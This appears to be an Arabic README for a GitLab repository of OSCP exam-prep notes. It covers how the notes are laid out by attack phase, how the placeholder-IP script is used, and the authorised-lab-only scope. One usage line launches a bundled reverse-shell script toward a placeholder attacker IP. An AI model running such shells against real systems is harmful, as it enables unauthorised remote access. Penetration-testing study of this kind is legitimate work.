
خزنة ملاحظات OSCP + لوحة قيادة لامتحان: ملاحظات تقنية مدمجة، مجموعات أوامر معبأة بالمتغيرات، أجهزة، بيانات اعتماد، ودليل تشغيل ليوم الامتحان. MIT.
الوسوم: #ligolo #hashcat

دفتر منهجية اختبار اختراق مفهرس حسب المنفذ: أشجار القرار، وأنماط أوامر جاهزة للنسخ واللصق، ودروس مستفادة من صناديق التدريب المصرّح بها (HTB / PG / مختبرات شخصية). تم دمجه من finalnotes-vault الأقدم إلى هذه الشجرة الواحدة.
سير عمل يمكنك تشغيله تحت ضغط الوقت. الأوامر وأشجار القرار أولاً.
ملاحظات دراسية عامة للتدريب المصرّح به فقط (مختبراتك، HTB/PG، الدورات التي تملكها). لا مفاتيح امتحان، ولا مخرجات engagements حية، ولا نسخ من محتوى دورات OffSec.
المستودع: https://gitlab.com/WattoCyber/oscp-notes-2026
حزمة الامتحان (HTML): https://oscp-notes-2026-76134f.gitlab.io
| ما هو | ملاحظات ميدانية بأسلوب OSCP: أشجار قرار، وأنماط أوامر، وبطاقات تقنيات. |
| لمن هو | مرشحو OSCP ومشغّلو المختبرات الذين يريدون سير عمل يمكنهم تشغيله تحت ضغط الوقت. |
| ما ليس هو | ليس مجموعة حمولات (payloads)، ولا مفاتيح امتحان، ولا محتوى دورات OffSec، وليس بديلاً عن المواد الرسمية. |
| الحجم | أكثر من 512 ملاحظة markdown بترتيب engagement مرقّم. |
git clone https://gitlab.com/WattoCyber/oscp-notes-2026.git
cd oscp-notes-2026
# optional: bind placeholders to your lab IPs
# edit 00-Start-Here/Variables.md
python fill-variables.py apply
python fill-variables.py status
python fill-variables.py reset # restore placeholders
إشارة النجاح: يطبع python fill-variables.py status النص Status: PLACEHOLDERS (قبل التطبيق) أو Status: FILLED (بعد التطبيق مع عناوين IP حقيقية في Variables.md). افتح Home.md أو Find.md (كل ملاحظة، قابلة للنقر في GitLab). لا تزال روابط الويكي تعمل في Obsidian. حدّث الكتالوج باستخدام python3 scripts/build-find.py.
يتطلب Python 3 فقط (المكتبة القياسية). لا حاجة إلى pip install.
سكربتات الاختبار/المختبر (bash أولاً، الجداول في scripts/data/):
ls scripts/
bash scripts/recon/host-scan.sh TARGET
python3 scripts/recon/nmap-next.py scans/TARGET/svc.xml
bash scripts/shells/rev.sh ATTACKER_IP 443 linux
Find.md Generated catalog of every note (GitLab links)
00-Start-Here/ INDEX.md + Quick-Start, Methodology, Variables, Im-Stuck
Exam/ Cheatsheets/ Charts/
01-Enumeration/ Enumeration-Index.md at root
Automated-Scanners/ Network-Protocols/ Web-Applications/
02-Web-Attacks/ Web-Index.md, Web-Methodology.md at root
Recon/ Injection/ File-Attacks/ HTTP-Techniques/ CMS/
03-Active-Directory/ AD-Index.md, First-User-Playbook.md at root
Enum/ Kerberos/ Credential-Theft/ ACL-Abuse/ ADCS/
Lateral/ Persistence/ CVE-One-Shots/
04-Linux-PrivEsc/ Linux-Index.md + walkthrough at root
CVE-One-Shots/ Filesystem/ Hijacking/ Scheduled-and-Services/
Persistence/ Tools/
05-Windows-PrivEsc/ Windows-Index.md + 3 topic indexes at root
Checklists/ Local-Techniques/ Persistence/ Service-Abuse/
Token-Manipulation/ Tools/
06-Pivoting/ Pivoting-Index.md at root + Tools/
07-File-Transfers/ File-Transfers.md at root + Methods/
08-Shells/ Reverse-Shells.md, Msfvenom.md at root
Shells/ Web/
09-Password-Attacks/ Brute-Forcing-Guide.md at root
Cracking/ Spraying/ Wordlists/
10-Reporting/ Report-Template.md at root + Exam/
11-Tools/ Tools-Index.md at root
Payload/ Recon/ Network/ Code/ CVE/ Custom/
scripts/ exam/lab helpers (data/*.tsv + bash; python for parsers)
fill-variables.py placeholder IP binder
_attachments/ images
داخل النطاق
خارج النطاق (عن قصد)
تحقق من قواعد الاختبار الحالية على دليل اختبار OffSec. جداول التقييم هنا هي أدوات مساعدة للدراسة وقد تصبح قديمة.
العناصر النائبة المستخدمة عبر الملاحظات: ATTACKER_IP، TARGET_IP، DC_IP، MS01_IP، MS02_IP، STANDALONE1..3، INTERNAL_IP، INTERNAL_NET، DOMAIN.
python3 fill-variables.py apply # write your IPs into every .md
python3 fill-variables.py reset # restore tokens (uses .variables-backup.json)
لا تُرسل عناوين IP المطبّقة إلى المستودع. أبقِ Variables.md كعناصر نائبة (placeholders) في git.
Samson Laird (SamsonCyber / WattoCyber). أُنجز أثناء العمل على مختبرات على نمط OSCP.
مستودع finalnotes-vault المستقل الأقدم مؤرشف. هذه الشجرة هي النسخة الحيّة.
MIT للبنية الأصلية والسكربتات والنصوص الأصلية. معرفة التقنيات هي مهارات أمنية عامة. أسماء الأجهزة تشير إلى أجهزة HTB/PG العامة؛ احترم قواعد كل منصة.